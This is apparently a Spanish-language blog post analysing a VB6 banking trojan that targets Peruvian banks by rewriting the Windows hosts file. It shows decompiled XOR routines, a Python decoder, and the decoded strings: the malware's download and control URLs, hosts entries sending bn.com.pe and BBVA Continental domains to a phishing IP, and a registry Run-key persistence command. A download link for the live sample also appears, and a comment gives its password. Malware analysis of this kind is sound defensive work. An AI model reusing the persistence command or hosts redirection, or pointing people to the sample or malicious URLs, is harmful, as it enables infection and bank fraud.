Hoy vamos a analizar el siguiente malware que me envío un lector a mi correo.
Este troyano afecta entidades bancarias del Perú modificando el archivo .host
de la PC victima.
Aquí vemos el correo enviado a las victimas, disimulando una postal virtual.
Link:
hxxp://www.atesitaliana.com/video/postales/videopostal.exe
Anubis:
Analizada la muestra en VT, notamos un grado medio de detecciones.
El malware esta programado en VB6, no se encuentra ofuscado su código (VBCrypt), solo noto que tiene cadenas codificadas, como por ejemplo:
"4D88525F7A0C0B32408E5046304C57354490435C6E404B2C0A94165B750C"
Utilizando un decompilador de VB encontramos la llamada a la rutina de desencripcion de la cadena y la rutina.
loc_00402D97: var_28 = "4D88525F7A0C0B32408E5046304C57354490435C6E404B2C0A94165B750C" <- Cadena a desencriptar
loc_00402DA1: Proc_00403FA0(var_28, var_28, ecx) <-- Llamada a la rutina
loc_00402DAB: var_2C = Proc_00403FA0(var_28, var_28, ecx)
loc_00402DB2: Proc_00404350(var_2C, edx, ecx)
Rutina de desencripcion:
Public Sub Proc_1_0_403FA0()
loc_00403FC2: var_8 = &H401250
loc_00403FF4: var_24 = "%ü&/@#$A" <---- KEY del XOR!!!
loc_00403FFE: var_20 = 004026ACh
loc_00404008: var_1C = 1
loc_00404016: Var_Ret_1 = Len(Me)
loc_00404028: var_7C = Var_Ret_1
loc_0040402B:
loc_0040402F: If 00000001h > 0 Then GoTo loc_004041A6 ciclo.
loc_0040403D: var_3C = 2
loc_00404040: var_44 = 2
loc_00404056: var_64 = &H4008
loc_0040405D: var_54 = Mid$(Me, 1, 2)
loc_0040408E: var_3C = 1
loc_00404095: var_44 = 2
loc_0040409C: var_5C = var_24 = "%ü&/@#$A"
loc_0040409F: var_64 = &H4008
loc_004040B2: 1 = 1 - 0001h
loc_004040C0: idiv ecx
loc_004040C8: 1 = 1 + 00000001h
loc_004040D4: var_54 = Mid$(var_24, 1, 1)
loc_004040E5: var_2C = var_54
loc_00404100: var_5C = var_20
loc_00404103: var_64 = 8
loc_0040411B: var_34 = "&h" & Me
loc_00404140: var_44 = Chr(eax Xor edx) <- OPERADOR XOR!
loc_00404152: var_54 = var_20 & var_20
loc_00404188: 1 = 1 + 0001h
loc_0040419A: 00000002h = 00000002h + 00000001h
loc_004041A1: GoTo loc_0040402B
loc_004041A6:
loc_004041AC: var_28 = 1
loc_004041B8: GoTo loc_004041E6
loc_004041E5: Exit Sub
loc_004041E6:
loc_00404200: Exit Sub
End Sub
Analizando esta rutina, armo un decodificador XOR en Python
# -*- coding: iso-8859-15 -*-
import operator
import sys
import binascii
ca = ''
keypin = "%ü&/@#$A"
datac = "46914201255B41610A9F065D25440420419806670B667D1E69B3656E0C7C690066B46F61057F770E63A8716E1266780C4C9F5440334C423579AB4F41244C533279BF535D32464A357399545C294C4A1D7789487360030B3705B1494129574B3305D3520F1266631E76A606002403677B79AB4F41244C5332798F455D3250576F4084430F6F45"; #cadena a desencriptar
salida = '';
def xor(key, string):
c = 0
data = []
for k in xrange(len(string)):
if c > len(key)-1:
c = 0
fi = ord(key[c])
c += 1
se = ord(string[k])
data += [chr(operator.xor(fi, se))]
return data
cadena = binascii.a2b_hex(datac);
salida = xor(keypin,cadena);
for imprime in range(len(salida)):
ca = ca + salida[imprime]
print ca
por lo que 4D88525F7A0C0B32408E5046304C57354490435C6E404B2C0A94165B750C
Decodifica como: http://servipostales.com/h0t5/
Conectandome a este URL con malzilla obtenemos el string:
14CE1101700D146F14DC4A40234248294A8F520F711A1D6F1CCD081E77110A7316C9064D2E0D472E48DC1716790D1D700BCD111D6E111774059E4801234C496F5599061E791A0A7814D21718720D167210DC5158370D462F0B9F494260121D780BC517017114166F17CF130F3754536F4792084C2F4E0A3140DC1716790D1D700BCD111D6E1117740594525B30190B6E4792084C2F4E04701CC50816710D157617D2141C75034C35518C1C006F414A6F46934B01304604701CC50816710D157617D2141C75034C35518C1C006F5453360B9E4801234C496F5599061E791A0A7814D21718720D167210DC5C402E4257244289544E710D462F0B9F49426E53416114C51F0179120A7012CE081D73160436528B08552F4D4532409B535D21120A234BD245402D0D542405CD1F166E1A156F14CB1401721011614D88525F7A0C0B3B4A92475C2544513344CD084D2E0D472E48D2564A60121D780BC517017114166F17CF130F285750311FD3095837540A3B4A92475C2544513344CD084D2E0D472E48D2564A60121D780BC517017114166F17CF130F3754536F479E504E22424A224A9F4941344A4A244B8847436E404B2C05CD1F166E1A156F14CB140172101161479E504E22424A224A9F4941344A4A244B8847436E404B2C05CD1F166E1A156F14CB1401721011614D88525F7A0C0B36528B084D2255452344924540234C4A354C9243413442486F46934B00
Decodifica como:
127.0.0.1 localhost 199.91.172.235 bn.com 199.91.172.235 bn.com.pe 199.91.172.235 www.bn.com 199.91.172.235 www.bn.com.pe 199.91.172.235 http://bn.com 199.91.172.235 http://bn.com.pe 199.91.172.235 http://www.bn.com.pe 199.91.172.235 zonasegura1.bn.com.pe 199.91.172.235 www.zonasegura1.bn.com.pe 199.91.172.235 http://zonasegura1.bn.com.pe 199.91.172.235 http://www.zonasegura1.bn.com.pe 199.91.172.235 www.bbvabancocontinental.com 199.91.172.235 bbvabancocontinental.com 199.91.172.235 http://www.bbvabancocontinental.com/
Son los sitios de phishing que afectan a entidades bancarias del Perú
También en el cuerpo del troyano encontramos la siguiente cadena:
46914201255B41610A9F065D25440420419806670B667D1E69B3656E0C7C690066B46F61057F770E63A8716E1266780C4C9F5440334C423579AB4F41244C533279BF535D32464A357399545C294C4A1D7789487360030B3705B1494129574B3305D3520F1266631E76A606002403677B79AB4F41244C5332798F455D3250576F4084430F6F45
Decodifica como:
cmd.exe /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v Monitor /t REG_SZ /d C:\Windows\scrrss.exe /f
Es la llave del registro y el nombre del troyano que tendrá en el sistema.
Binario en http://www.mediafire.com/?irura6lwln1vknr
(La password me la piden por mensaje)
Eso es todo por el momento.
@DKavalanche 2012
PD: Por favor comenten... así no me siento solo...
3 comentarios:
Voy a subir las muestras de cada troyano, tengo que ver que servicio podría utilizar sin infringir en los términos de Blogger.
Gracias por comentar.
Ya me di de alta, pronto subiré las muestras.
Saludos!
Hola ya subí, para este caso, la muestra, con passw = infected
Saludos.
Publicar un comentario